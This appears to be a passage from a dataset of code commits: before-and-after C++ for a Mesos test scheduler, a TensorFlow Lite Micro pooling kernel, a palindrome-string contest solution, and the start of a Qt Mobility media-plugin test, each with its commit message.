OfferID id,\n const std::vector<SlaveOffer>& offers) {\n cout << \".\" << flush;\n vector<TaskDescription> tasks;\n foreach (const SlaveOffer &offer, offers) {\n \/\/ This is kind of ugly because operator[] isn't a const function\n int32_t cpus = lexical_cast<int32_t>(offer.params.find(\"cpus\")->second);\n int32_t mem = lexical_cast<int64_t>(offer.params.find(\"mem\")->second);\n if ((tasksLaunched < totalTasks) && (cpus >= 1 && mem >= 32)) {\n TaskID tid = tasksLaunched++;\n\n cout << endl << \"Starting task \" << tid << endl;\n string name = \"Task \" + lexical_cast<string>(tid);\n map<string, string> taskParams;\n taskParams[\"cpus\"] = \"1\";\n taskParams[\"mem\"] = \"32\";\n TaskDescription desc(tid, offer.slaveId, name, taskParams, \"\");\n tasks.push_back(desc);\n }\n }\n map<string, string> params;\n params[\"timeout\"] = \"-1\";\n d->replyToOffer(id, tasks, params);\n }\n\n virtual void statusUpdate(SchedulerDriver* d, const TaskStatus& status) {\n cout << endl;\n cout << \"Task \" << status.taskId << \" is in state \" << status.state << endl;\n if (status.state == TASK_FINISHED)\n tasksFinished++;\n if (tasksFinished == totalTasks)\n d->stop();\n }\n};\n\n\nint main(int argc, char ** argv) {\n if (argc != 2) {\n cerr << \"Usage: \" << argv[0] << \" <masterPid>\" << endl;\n return -1;\n }\n \/\/ Find this executable's directory to locate executor\n char buf[4096];\n realpath(dirname(argv[0]), buf);\n string executor = string(buf) + \"\/test-executor\";\n \/\/ Run a Mesos scheduler\n MyScheduler sched(executor);\n MesosSchedulerDriver driver(&sched, argv[1]);\n driver.run();\n return 0;\n}\n<commit_msg>Use the correct executor for the C++ test framework<commit_after>#include <mesos_sched.hpp>\n\n#include <libgen.h>\n\n#include <cstdlib>\n#include <iostream>\n#include <sstream>\n\n#include <boost\/lexical_cast.hpp>\n\n#include \"foreach.hpp\"\n\nusing namespace std;\nusing namespace mesos;\nusing boost::lexical_cast;\n\nclass MyScheduler : public Scheduler\n{\n string executor;\n int tasksLaunched;\n int tasksFinished;\n int totalTasks;\n\npublic:\n MyScheduler(const string& exec)\n : executor(exec), tasksLaunched(0), tasksFinished(0), totalTasks(5) {}\n\n virtual ~MyScheduler() {}\n\n virtual string getFrameworkName(SchedulerDriver*) {\n return \"C++ Test Framework\";\n }\n\n virtual ExecutorInfo getExecutorInfo(SchedulerDriver*) {\n return ExecutorInfo(executor, \"\");\n }\n\n virtual void registered(SchedulerDriver*, FrameworkID fid) {\n cout << \"Registered!\" << endl;\n }\n\n virtual void resourceOffer(SchedulerDriver* d,\n OfferID id,\n const std::vector<SlaveOffer>& offers) {\n cout << \".\" << flush;\n vector<TaskDescription> tasks;\n foreach (const SlaveOffer &offer, offers) {\n \/\/ This is kind of ugly because operator[] isn't a const function\n int32_t cpus = lexical_cast<int32_t>(offer.params.find(\"cpus\")->second);\n int32_t mem = lexical_cast<int64_t>(offer.params.find(\"mem\")->second);\n if ((tasksLaunched < totalTasks) && (cpus >= 1 && mem >= 32)) {\n TaskID tid = tasksLaunched++;\n\n cout << endl << \"Starting task \" << tid << endl;\n string name = \"Task \" + lexical_cast<string>(tid);\n map<string, string> taskParams;\n taskParams[\"cpus\"] = \"1\";\n taskParams[\"mem\"] = \"32\";\n TaskDescription desc(tid, offer.slaveId, name, taskParams, \"\");\n tasks.push_back(desc);\n }\n }\n map<string, string> params;\n params[\"timeout\"] = \"-1\";\n d->replyToOffer(id, tasks, params);\n }\n\n virtual void statusUpdate(SchedulerDriver* d, const TaskStatus& status) {\n cout << endl;\n cout << \"Task \" << status.taskId << \" is in state \" << status.state << endl;\n if (status.state == TASK_FINISHED)\n tasksFinished++;\n if (tasksFinished == totalTasks)\n d->stop();\n }\n};\n\n\nint main(int argc, char ** argv) {\n if (argc != 2) {\n cerr << \"Usage: \" << argv[0] << \" <masterPid>\" << endl;\n return -1;\n }\n \/\/ Find this executable's directory to locate executor\n char buf[4096];\n realpath(dirname(argv[0]), buf);\n string executor = string(buf) + \"\/cpp-test-executor\";\n \/\/ Run a Mesos scheduler\n MyScheduler sched(executor);\n MesosSchedulerDriver driver(&sched, argv[1]);\n driver.run();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#include \"tensorflow\/lite\/kernels\/internal\/reference\/pooling.h\"\n#include \"arm_nnfunctions.h\"\n#include \"scratch_buffer.h\"\n#include \"tensorflow\/lite\/c\/builtin_op_data.h\"\n#include \"tensorflow\/lite\/kernels\/internal\/reference\/integer_ops\/pooling.h\"\n#include \"tensorflow\/lite\/kernels\/internal\/tensor_ctypes.h\"\n#include \"tensorflow\/lite\/kernels\/kernel_util.h\"\n#include \"tensorflow\/lite\/kernels\/padding.h\"\n\nnamespace tflite {\nnamespace ops {\nnamespace micro {\nnamespace pooling {\n\nnamespace {\n\nconstexpr int kInputTensor = 0;\nconstexpr int kOutputTensor = 0;\n\nstruct OpData {\n TfLitePaddingValues padding;\n};\n\nTfLiteStatus CalculateOpData(const TfLiteContext* context,\n const TfLitePoolParams* params,\n const TfLiteTensor* input,\n const TfLiteTensor* output, OpData* data) {\n \/\/ input: batch, height, width, channel\n int height = SizeOfDimension(input, 1);\n int width = SizeOfDimension(input, 2);\n\n int out_height, out_width;\n\n data->padding = ComputePaddingHeightWidth(\n params->stride_height, params->stride_width,\n \/*dilation_rate_height=*\/1,\n \/*dilation_rate_width=*\/1, height, width, params->filter_height,\n params->filter_width, params->padding, &out_height, &out_width);\n\n return kTfLiteOk;\n}\n\nvoid AverageEvalFloat(const TfLiteContext* context, const TfLiteNode* node,\n const TfLitePoolParams* params, const OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n float activation_min, activation_max;\n CalculateActivationRange(params->activation, &activation_min,\n &activation_max);\n\n PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.float_activation_min = activation_min;\n op_params.float_activation_max = activation_max;\n reference_ops::AveragePool(\n op_params, GetTensorShape(input), GetTensorData<float>(input),\n GetTensorShape(output), GetTensorData<float>(output));\n}\n\nvoid AverageEvalUint8(const TfLiteContext* context, const TfLiteNode* node,\n const TfLitePoolParams* params, const OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n int32_t activation_min, activation_max;\n CalculateActivationRangeUint8(params->activation, output, &activation_min,\n &activation_max);\n\n PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.quantized_activation_min = activation_min;\n op_params.quantized_activation_max = activation_max;\n reference_ops::AveragePool(\n op_params, GetTensorShape(input), GetTensorData<uint8_t>(input),\n GetTensorShape(output), GetTensorData<uint8_t>(output));\n}\n\nTfLiteStatus AverageEvalInt8(const TfLiteContext* context,\n const TfLiteNode* node,\n const TfLitePoolParams* params, const OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n int32_t activation_min, activation_max;\n CalculateActivationRangeInt8(params->activation, output, &activation_min,\n &activation_max);\n\n TFLITE_DCHECK_LE(params->quantized_activation_min,\n params->quantized_activation_max);\n\n RuntimeShape input_shape = GetTensorShape(input);\n TFLITE_DCHECK_EQ(input_shape.DimensionsCount(), 4);\n\n RuntimeShape output_shape = GetTensorShape(output);\n TFLITE_DCHECK_EQ(output_shape.DimensionsCount(), 4);\n\n const int batches = MatchingDim(input_shape, 0, output_shape, 0);\n const int depth = MatchingDim(input_shape, 3, output_shape, 3);\n const int input_height = input_shape.Dims(1);\n const int input_width = input_shape.Dims(2);\n const int output_height = output_shape.Dims(1);\n const int output_width = output_shape.Dims(2);\n const int stride_height = params->stride_height;\n const int stride_width = params->stride_width;\n\n const int filter_height = params->filter_height;\n const int filter_width = params->filter_width;\n const int padding_height = data->padding.height;\n const int padding_width = data->padding.width;\n\n#if defined(ARM_MATH_DSP) && defined(ARM_MATH_LOOPUNROLL)\n int16_t* scratch_buffer = nullptr;\n const int32_t buffer_size =\n arm_avgpool_s8_get_buffer_size(output_width, depth);\n\n TF_LITE_ENSURE_OK(\n context, get_cmsis_scratch_buffer(context, &scratch_buffer, buffer_size));\n\n TF_LITE_ENSURE_EQ(\n context,\n arm_avgpool_s8(input_height, input_width, output_height, output_width,\n stride_height, stride_width, filter_height, filter_width,\n padding_height, padding_width, activation_min,\n activation_max, depth, GetTensorData<int8_t>(input),\n scratch_buffer, GetTensorData<int8_t>(output)),\n ARM_MATH_SUCCESS);\n#else\n#error ARM_MATH_DSP and ARM_MATH_LOOPUNROLL must be set\n#endif\n return kTfLiteOk;\n}\n\nvoid MaxEvalFloat(TfLiteContext* context, TfLiteNode* node,\n TfLitePoolParams* params, OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n float activation_min, activation_max;\n CalculateActivationRange(params->activation, &activation_min,\n &activation_max);\n\n tflite::PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.float_activation_min = activation_min;\n op_params.float_activation_max = activation_max;\n reference_ops::MaxPool(op_params, GetTensorShape(input),\n GetTensorData<float>(input), GetTensorShape(output),\n GetTensorData<float>(output));\n}\n\nvoid MaxEvalQuantizedUInt8(TfLiteContext* context, TfLiteNode* node,\n TfLitePoolParams* params, OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n int32_t activation_min, activation_max;\n CalculateActivationRangeUint8(params->activation, output, &activation_min,\n &activation_max);\n\n tflite::PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.quantized_activation_min = activation_min;\n op_params.quantized_activation_max = activation_max;\n reference_ops::MaxPool(op_params, GetTensorShape(input),\n GetTensorData<uint8_t>(input), GetTensorShape(output),\n GetTensorData<uint8_t>(output));\n}\n\n} \/\/ namespace\n\nvoid* Init(TfLiteContext* context, const char* buffer, size_t length) {\n return nullptr;\n}\n\nvoid Free(TfLiteContext* context, void* buffer) {}\n\nTfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n return kTfLiteOk;\n}\n\nTfLiteStatus AverageEval(TfLiteContext* context, TfLiteNode* node) {\n auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);\n OpData data;\n\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n TF_LITE_ENSURE_STATUS(CalculateOpData(context, params, input, output, &data));\n\n \/\/ Inputs and outputs share the same type, guarenteed by the converter.\n switch (input->type) {\n case kTfLiteFloat32:\n AverageEvalFloat(context, node, params, &data, input, output);\n break;\n case kTfLiteUInt8:\n AverageEvalUint8(context, node, params, &data, input, output);\n break;\n case kTfLiteInt8:\n return AverageEvalInt8(context, node, params, &data, input, output);\n break;\n default:\n context->ReportError(context, \"Input type %s is not currently supported\",\n TfLiteTypeGetName(input->type));\n return kTfLiteError;\n }\n return kTfLiteOk;\n}\n\nTfLiteStatus MaxEval(TfLiteContext* context, TfLiteNode* node) {\n auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);\n OpData data;\n\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n TF_LITE_ENSURE_STATUS(CalculateOpData(context, params, input, output, &data));\n\n switch (input->type) {\n case kTfLiteFloat32:\n MaxEvalFloat(context, node, params, &data, input, output);\n break;\n case kTfLiteUInt8:\n MaxEvalQuantizedUInt8(context, node, params, &data, input, output);\n break;\n default:\n context->ReportError(context, \"Type %s not currently supported.\",\n TfLiteTypeGetName(input->type));\n return kTfLiteError;\n }\n return kTfLiteOk;\n}\n\n} \/\/ namespace pooling\n\nTfLiteRegistration* Register_AVERAGE_POOL_2D() {\n static TfLiteRegistration r = {\n pooling::Init,\n pooling::Free,\n pooling::Prepare,\n pooling::AverageEval,\n };\n return &r;\n}\n\nTfLiteRegistration* Register_MAX_POOL_2D() {\n static TfLiteRegistration r = {pooling::Init, pooling::Free, pooling::Prepare,\n pooling::MaxEval};\n return &r;\n}\n\n} \/\/ namespace micro\n} \/\/ namespace ops\n} \/\/ namespace tflite\n<commit_msg>Added reference average pooling kernel fallback<commit_after>\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#include \"tensorflow\/lite\/kernels\/internal\/reference\/pooling.h\"\n#include \"arm_nnfunctions.h\"\n#include \"scratch_buffer.h\"\n#include \"tensorflow\/lite\/c\/builtin_op_data.h\"\n#include \"tensorflow\/lite\/kernels\/internal\/reference\/integer_ops\/pooling.h\"\n#include \"tensorflow\/lite\/kernels\/internal\/tensor_ctypes.h\"\n#include \"tensorflow\/lite\/kernels\/kernel_util.h\"\n#include \"tensorflow\/lite\/kernels\/padding.h\"\n\nnamespace tflite {\nnamespace ops {\nnamespace micro {\nnamespace pooling {\n\nnamespace {\n\nconstexpr int kInputTensor = 0;\nconstexpr int kOutputTensor = 0;\n\nstruct OpData {\n TfLitePaddingValues padding;\n};\n\nTfLiteStatus CalculateOpData(const TfLiteContext* context,\n const TfLitePoolParams* params,\n const TfLiteTensor* input,\n const TfLiteTensor* output, OpData* data) {\n \/\/ input: batch, height, width, channel\n int height = SizeOfDimension(input, 1);\n int width = SizeOfDimension(input, 2);\n\n int out_height, out_width;\n\n data->padding = ComputePaddingHeightWidth(\n params->stride_height, params->stride_width,\n \/*dilation_rate_height=*\/1,\n \/*dilation_rate_width=*\/1, height, width, params->filter_height,\n params->filter_width, params->padding, &out_height, &out_width);\n\n return kTfLiteOk;\n}\n\nvoid AverageEvalFloat(const TfLiteContext* context, const TfLiteNode* node,\n const TfLitePoolParams* params, const OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n float activation_min, activation_max;\n CalculateActivationRange(params->activation, &activation_min,\n &activation_max);\n\n PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.float_activation_min = activation_min;\n op_params.float_activation_max = activation_max;\n reference_ops::AveragePool(\n op_params, GetTensorShape(input), GetTensorData<float>(input),\n GetTensorShape(output), GetTensorData<float>(output));\n}\n\nvoid AverageEvalUint8(const TfLiteContext* context, const TfLiteNode* node,\n const TfLitePoolParams* params, const OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n int32_t activation_min, activation_max;\n CalculateActivationRangeUint8(params->activation, output, &activation_min,\n &activation_max);\n\n PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.quantized_activation_min = activation_min;\n op_params.quantized_activation_max = activation_max;\n reference_ops::AveragePool(\n op_params, GetTensorShape(input), GetTensorData<uint8_t>(input),\n GetTensorShape(output), GetTensorData<uint8_t>(output));\n}\n\nTfLiteStatus AverageEvalInt8(const TfLiteContext* context,\n const TfLiteNode* node,\n const TfLitePoolParams* params, const OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n int32_t activation_min, activation_max;\n CalculateActivationRangeInt8(params->activation, output, &activation_min,\n &activation_max);\n\n TFLITE_DCHECK_LE(params->quantized_activation_min,\n params->quantized_activation_max);\n\n RuntimeShape input_shape = GetTensorShape(input);\n TFLITE_DCHECK_EQ(input_shape.DimensionsCount(), 4);\n\n RuntimeShape output_shape = GetTensorShape(output);\n TFLITE_DCHECK_EQ(output_shape.DimensionsCount(), 4);\n\n const int batches = MatchingDim(input_shape, 0, output_shape, 0);\n const int depth = MatchingDim(input_shape, 3, output_shape, 3);\n const int input_height = input_shape.Dims(1);\n const int input_width = input_shape.Dims(2);\n const int output_height = output_shape.Dims(1);\n const int output_width = output_shape.Dims(2);\n const int stride_height = params->stride_height;\n const int stride_width = params->stride_width;\n\n const int filter_height = params->filter_height;\n const int filter_width = params->filter_width;\n const int padding_height = data->padding.height;\n const int padding_width = data->padding.width;\n\n#if defined(ARM_MATH_DSP) && defined(ARM_MATH_LOOPUNROLL)\n int16_t* scratch_buffer = nullptr;\n const int32_t buffer_size =\n arm_avgpool_s8_get_buffer_size(output_width, depth);\n\n TF_LITE_ENSURE_OK(\n context, get_cmsis_scratch_buffer(context, &scratch_buffer, buffer_size));\n\n TF_LITE_ENSURE_EQ(\n context,\n arm_avgpool_s8(input_height, input_width, output_height, output_width,\n stride_height, stride_width, filter_height, filter_width,\n padding_height, padding_width, activation_min,\n activation_max, depth, GetTensorData<int8_t>(input),\n scratch_buffer, GetTensorData<int8_t>(output)),\n ARM_MATH_SUCCESS);\n#else\n reference_integer_ops::AveragePool(\n op_params, GetTensorShape(input), GetTensorData<int8_t>(input),\n GetTensorShape(output), GetTensorData<int8_t>(output));\n\n#endif\n return kTfLiteOk;\n}\n\nvoid MaxEvalFloat(TfLiteContext* context, TfLiteNode* node,\n TfLitePoolParams* params, OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n float activation_min, activation_max;\n CalculateActivationRange(params->activation, &activation_min,\n &activation_max);\n\n tflite::PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.float_activation_min = activation_min;\n op_params.float_activation_max = activation_max;\n reference_ops::MaxPool(op_params, GetTensorShape(input),\n GetTensorData<float>(input), GetTensorShape(output),\n GetTensorData<float>(output));\n}\n\nvoid MaxEvalQuantizedUInt8(TfLiteContext* context, TfLiteNode* node,\n TfLitePoolParams* params, OpData* data,\n const TfLiteTensor* input, TfLiteTensor* output) {\n int32_t activation_min, activation_max;\n CalculateActivationRangeUint8(params->activation, output, &activation_min,\n &activation_max);\n\n tflite::PoolParams op_params;\n op_params.stride_height = params->stride_height;\n op_params.stride_width = params->stride_width;\n op_params.filter_height = params->filter_height;\n op_params.filter_width = params->filter_width;\n op_params.padding_values.height = data->padding.height;\n op_params.padding_values.width = data->padding.width;\n op_params.quantized_activation_min = activation_min;\n op_params.quantized_activation_max = activation_max;\n reference_ops::MaxPool(op_params, GetTensorShape(input),\n GetTensorData<uint8_t>(input), GetTensorShape(output),\n GetTensorData<uint8_t>(output));\n}\n\n} \/\/ namespace\n\nvoid* Init(TfLiteContext* context, const char* buffer, size_t length) {\n return nullptr;\n}\n\nvoid Free(TfLiteContext* context, void* buffer) {}\n\nTfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n return kTfLiteOk;\n}\n\nTfLiteStatus AverageEval(TfLiteContext* context, TfLiteNode* node) {\n auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);\n OpData data;\n\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n TF_LITE_ENSURE_STATUS(CalculateOpData(context, params, input, output, &data));\n\n \/\/ Inputs and outputs share the same type, guarenteed by the converter.\n switch (input->type) {\n case kTfLiteFloat32:\n AverageEvalFloat(context, node, params, &data, input, output);\n break;\n case kTfLiteUInt8:\n AverageEvalUint8(context, node, params, &data, input, output);\n break;\n case kTfLiteInt8:\n return AverageEvalInt8(context, node, params, &data, input, output);\n break;\n default:\n context->ReportError(context, \"Input type %s is not currently supported\",\n TfLiteTypeGetName(input->type));\n return kTfLiteError;\n }\n return kTfLiteOk;\n}\n\nTfLiteStatus MaxEval(TfLiteContext* context, TfLiteNode* node) {\n auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);\n OpData data;\n\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n TF_LITE_ENSURE_STATUS(CalculateOpData(context, params, input, output, &data));\n\n switch (input->type) {\n case kTfLiteFloat32:\n MaxEvalFloat(context, node, params, &data, input, output);\n break;\n case kTfLiteUInt8:\n MaxEvalQuantizedUInt8(context, node, params, &data, input, output);\n break;\n default:\n context->ReportError(context, \"Type %s not currently supported.\",\n TfLiteTypeGetName(input->type));\n return kTfLiteError;\n }\n return kTfLiteOk;\n}\n\n} \/\/ namespace pooling\n\nTfLiteRegistration* Register_AVERAGE_POOL_2D() {\n static TfLiteRegistration r = {\n pooling::Init,\n pooling::Free,\n pooling::Prepare,\n pooling::AverageEval,\n };\n return &r;\n}\n\nTfLiteRegistration* Register_MAX_POOL_2D() {\n static TfLiteRegistration r = {pooling::Init, pooling::Free, pooling::Prepare,\n pooling::MaxEval};\n return &r;\n}\n\n} \/\/ namespace micro\n} \/\/ namespace ops\n} \/\/ namespace tflite\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nbool IsPalindrome(const string& s)\n{\n\tif (s == \"\")\n\t{\n\t\treturn true;\n\t}\n\n\tint n = s.size();\n\tif (s[0] != s[n-1])\n\t{\n\t\treturn false;\n\t}\n\telse\n\t{\n\t\treturn IsPalindrome(s.substr(1, n-2));\n\t}\n}\n\nbool IsTolerable(const string& s, int p)\n{\n\tchar maxChar = p - 1 + 'a';\n\tfor (size_t i = 0; i < s.size(); ++i)\n\t{\n\t\tif (s[i] > maxChar)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tint n = s.size();\n\tfor (int k = 2; k <= n; ++k)\n\t{\n\t\tfor (int i = 0; i <= n-k; ++i)\n\t\t{\n\t\t\tif (IsPalindrome(s.substr(i, k)))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true;\n}\n\nstring StrAddOne(const string& s, int p)\n{\n\tchar maxChar = p - 1 + 'a';\n\tstring ans(s);\n\tint n = ans.size();\n\n\tans[n-1] += 1;\n\tif (ans[n-1] <= maxChar)\n\t{\n\t\treturn ans;\n\t}\n\n\tfor (int i = n-1; i >= 0; --i)\n\t{\n\t\tif (ans[i] > maxChar)\n\t\t{\n\t\t\tans[i] = 'a';\n\t\t\tif (i-1 >= 0)\n\t\t\t{\n\t\t\t\tans[i-1] += 1;\n\t\t\t}\n\t\t}\n\t}\n\treturn ans;\n}\n\nint main()\n{\n\tint n, p;\n\tcin >> n >> p;\n\tstring s;\n\tcin >> s;\n\n\tchar maxChar = p - 1 + 'a';\n\tstring maxStr(n, maxChar); \n\t\n\tstring ans;\n\tdo\n\t{\n\t\tans = StrAddOne(s, p);\n\t\tif (ans >= maxStr)\n\t\t{\n\t\t\tcout << \"NO\" << endl;\n\t\t\treturn 0;\n\t\t}\n\n\t\tif (IsTolerable(ans, p))\n\t\t{\n\t\t\tcout << ans << endl;\n\t\t\treturn 0;\n\t\t}\n\n\t\ts = ans;\n\n\t}while(true);\n\n\treturn 0;\n}\n<commit_msg>A, B, easy good; C, too complicated, TLE<commit_after>#include <iostream>\n#include <string>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nbool IsPalindrome(const string& s)\n{\n\tif (s == \"\")\n\t{\n\t\treturn true;\n\t}\n\n\tint n = s.size();\n\tif (s[0] != s[n-1])\n\t{\n\t\treturn false;\n\t}\n\telse\n\t{\n\t\treturn IsPalindrome(s.substr(1, n-2));\n\t}\n}\n\nbool IsTolerable(const string& s, int p)\n{\n\tchar maxChar = p - 1 + 'a';\n\tfor (size_t i = 0; i < s.size(); ++i)\n\t{\n\t\tif (s[i] > maxChar)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\n\n\tint n = s.size();\n\tfor (int k = 2; k <= n; ++k)\n\t{\n\t\tfor (int i = 0; i <= n-k; ++i)\n\t\t{\n\t\t\tif (IsPalindrome(s.substr(i, k)))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true;\n}\n\nstring StrAddOne(const string& s, int p)\n{\n\tchar maxChar = p - 1 + 'a';\n\tstring ans(s);\n\tint n = ans.size();\n\n\tans[n-1] += 1;\n\tif (ans[n-1] <= maxChar)\n\t{\n\t\treturn ans;\n\t}\n\n\tfor (int i = n-1; i >= 1; --i)\n\t{\n\t\tif (ans[i] > maxChar)\n\t\t{\n\t\t\tans[i] = 'a';\n\t\t\tans[i-1] += 1;\n\t\t}\n\t}\n\t\n\tif (ans[0] > maxChar)\n\t{\n\t\tans[0] = 'a';\n\t\tans = \"a\" + ans;\n\t}\n\n\treturn ans;\n}\n\nint main()\n{\n\tint n, p;\n\tcin >> n >> p;\n\tstring s;\n\tcin >> s;\n\n\tchar maxChar = p - 1 + 'a';\n\tstring maxStr(n, maxChar); \n\t\n\tstring ans;\n\tdo\n\t{\n\t\tans = StrAddOne(s, p);\n\t\tif (ans.size() > maxStr.size())\n\t\t{\n\t\t\tcout << \"NO\" << endl;\n\t\t\treturn 0;\n\t\t}\n\n\t\tif (IsTolerable(ans, p))\n\t\t{\n\t\t\tcout << ans << endl;\n\t\t\treturn 0;\n\t\t}\n\n\t\ts = ans;\n\n\t}while(true);\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include <QtTest\/QtTest>\n#include <QDebug>\n\n#include <multimedia\/qmediaserviceprovider.h>\n#include <multimedia\/qmediaserviceproviderplugin.h>\n#include <multimedia\/qmediapluginloader_p.h>\n#include <multimedia\/qmediaobject.h>\n#include <multimedia\/qmediaservice.h>\n#include <multimedia\/qmediaplayer.h>\n\nclass MockMediaService : public QMediaService\n{\n Q_OBJECT\npublic:\n MockMediaService(const QString& name, QObject *parent = 0) : QMediaService(parent)\n { setObjectName(name); }\n ~MockMediaService() {}\n\n QMediaControl* control(const char *) const {return 0;}\n};\n\nclass MockServicePlugin1 : public QMediaServiceProviderPlugin,\n public QMediaServiceSupportedFormatsInterface,\n public QMediaServiceSupportedDevicesInterface\n{\n Q_OBJECT\n Q_INTERFACES(QMediaServiceSupportedFormatsInterface)\n Q_INTERFACES(QMediaServiceSupportedDevicesInterface)\npublic:\n QStringList keys() const\n {\n return QStringList() <<\n QLatin1String(Q_MEDIASERVICE_MEDIAPLAYER) <<\n QLatin1String(Q_MEDIASERVICE_CAMERA);\n }\n\n QMediaService* create(QString const& key)\n {\n if (keys().contains(key))\n return new MockMediaService(\"MockServicePlugin1\");\n else\n return 0;\n }\n\n void release(QMediaService *service)\n {\n delete service;\n }\n\n QtMedia::SupportEstimate hasSupport(const QString &mimeType, const QStringList& codecs) const\n { \n if (codecs.contains(QLatin1String(\"mpeg4\")))\n return QtMedia::NotSupported;\n\n if (mimeType == \"audio\/ogg\") { \n return QtMedia::ProbablySupported;\n }\n\n return QtMedia::MaybeSupported;\n }\n\n QList<QByteArray> devices(const QByteArray &service) const\n {\n QList<QByteArray> res;\n if (service == QByteArray(Q_MEDIASERVICE_CAMERA))\n res << \"camera1\" << \"camera2\"; \n return res;\n }\n\n QString deviceDescription(const QByteArray &service, const QByteArray &device)\n {\n if (devices(service).contains(device))\n return QString(device)+\" description\";\n else\n return QString();\n }\n};\n\nclass MockServicePlugin2 : public QMediaServiceProviderPlugin,\n public 